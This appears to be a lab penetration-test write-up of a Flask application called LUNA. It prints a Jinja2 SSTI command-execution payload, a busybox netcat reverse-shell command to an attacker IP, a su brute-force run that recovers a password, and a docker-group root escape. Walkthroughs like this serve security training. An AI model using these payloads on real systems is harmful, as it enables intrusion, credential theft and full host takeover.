PAVINDAS / VAPT Report
Loading... reads All Articles

Penetration Test Report: LUNA

A thorough offensive security assessment of the LUNA web application. Demonstrating template injection breakout in Python Flask, reverse shell establishment, MySQL credential discovery, local user bruteforcing, and Docker group root compromise.

Section 01 // Target Profile

Target Information & Methodology

LUNA Web Application Banner Click to expand
LUNA Web Application Banner
Figure: LUNA Web Application Banner
Environment Details

• Application Name: LUNA
• Target URL: http://192.168.1.42:5000/ (Note: Target IP varies in local lab setups)
• Assessment Type: Web Application Vulnerability Assessment & Penetration Testing
• Methodology: OWASP Testing Guide, OWASP Top 10 2021
• Arsenal: Nmap, Burp Suite CE, CyberChef, GTFOBins, Sudo_BruteForce

Section 02 // Executive Overview

Executive Summary

A comprehensive web application security assessment was performed against the LUNA application. The assessment identified multiple critical vulnerabilities including client-side injection, server-side template injection (SSTI) leading to remote code execution, credential exposure in configuration files, weak base64 credential storage, and privilege escalation paths through Docker group membership.

Section 03 // Findings Matrix

Vulnerability Summary Matrix

Critical Vulnerabilities Matrix
OWASP Top 10 2021 Standard
Finding Severity OWASP Mapping
Server-Side Template Injection (SSTI) Critical A03 Injection
RCE via Template Injection Critical A03 Injection
Database Credential Exposure High A01 Broken Access Control
Weak Password Storage (Base64) High A02 Cryptographic Failures
Privilege Escalation via Docker Group Critical A05 Security Misconfiguration
Reflected Cross Site Scripting (XSS) Medium A03 Injection
Section 04 // Enumeration

Step 1: Reconnaissance & Input Reflection

Scanning the host reveals port 5000 serving a web application. Initial reconnaissance and port sweeps confirm the service layout:

Evidence #01 — Port 5000 Web Service Click to expand
Reconnaissance of port 5000
Figure 1: Initial service enumeration on port 5000.
Evidence #02 — Target Interface Click to expand
Target application landing interface
Figure 2: LUNA web application homepage.
Evidence #03 — Feature Testing Click to expand
Feature testing interface
Figure 3: Testing application input fields.

Submitting arbitrary text into the available input field demonstrates direct reflection within the HTTP response without sanitization:

Evidence #04 — Input Reflection Click to expand
Submitting test input
Figure 4: Submitting baseline input string.
Evidence #05 — Reflected Response Click to expand
Input reflected in response
Figure 5: Observing reflection of raw input.
Section 05 // Exploitation

Step 2: SSTI Verification & RCE Execution

Testing for Cross-Site Scripting verifies that HTML characters are unescaped:

Evidence #06 — XSS Payload Click to expand
Submitting XSS payload
Figure 6: XSS payload injection.
Evidence #07 — XSS Execution Click to expand
XSS execution alert
Figure 7: Execution of client-side JavaScript.

We then inject template expressions such as {{7*7}} to evaluate server-side template handling:

Evidence #08 — SSTI Expression Click to expand
SSTI payload test
Figure 8: Template injection evaluation.
Evidence #09 — Evaluation to 49 Click to expand
SSTI evaluation result
Figure 9: Expression evaluated dynamically on the server, confirming SSTI.

Stack traces triggered via malformed syntax confirm the backend is running Python Flask with Jinja2:

Evidence #10 & #11 — Flask Engine Identification Click to expand
Flask stack trace
Figure 10: Python Flask / Jinja2 stack trace disclosure.
Jinja2 RCE Payload
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
Evidence #12 — Remote Code Execution Click to expand
RCE confirmed via SSTI
Figure 12: Directory contents returned directly from OS execution.
Section 06 // Foothold

Step 3: Establishing Reverse Shell Connection

Busybox Reverse Shell Trigger
busybox nc 192.168.1.39 6666 -e sh
Evidence #13 — Netcat Listener Click to expand
Netcat listener ready
Figure 13: Netcat listener awaiting connection on port 6666.
Evidence #14 — Shell Established Click to expand
Interactive reverse shell
Figure 14: Reverse shell connected successfully.
Section 07 // Lateral Movement

Step 4: Configuration Inspection & User Enumeration

Reviewing application directories uncovers database connection settings:

Evidence #15 & #16 — Database Credentials Click to expand
MySQL configuration file
Figure 16: Recovered MySQL database credentials.
Evidence #17 — Database Enumeration Click to expand
Database records
Figure 17: Accessing database tables and recovering user records.

A stored password encoded in Base64 was recovered and decoded using CyberChef:

Evidence #18 — Base64 Password Decoding Click to expand
CyberChef decoding Base64
Figure 18: Decoding weak Base64 password representation.

Enumerating user accounts and running local credential bruteforcing with Sudo_BruteForce uncovers password for user jose:

User Enumeration & Su Brute-Force
bash Linux-Su-Force.sh jose ../password.txt
[+] Credential Found: jose:W1nter$2024
su jose
Evidence #22 & #23 — Switching to Jose Click to expand
Logged in as jose
Figure 23: Switching user context to jose.
Section 08 // Privilege Escalation

Step 5: Docker Group Membership to Root Takeover

Group enumeration on user jose reveals membership in the docker group:

Evidence #25 — Docker Group Membership Click to expand
id command showing docker group
Figure 25: User jose belongs to the docker group.

Consulting GTFOBins confirms that docker group membership allows mounting the host root filesystem (/) into a container to spawn an interactive root shell:

Docker Root Escalation Vector
docker run -v /:/mnt --rm -it alpine chroot /mnt /bin/sh
Evidence #27 — Complete Root Takeover Click to expand
Root shell in container
Figure 27: UID 0 (root) authority achieved on the host system.
Section 09 // Retrospective

Conclusion & Remediation Advice

The LUNA walkthrough demonstrates how a template injection flaw can be elevated through configuration credential exposure, weak password storage, and dangerous UNIX group configurations to achieve total system compromise.

Author's Note

Thank you for reading through this walkthrough! I encourage you to replicate the steps, experiment with different Jinja2 breakout payloads, and test defensive configurations. Best of luck on your hacking journey!

01. Target & Scope • 0%
Assessment Sections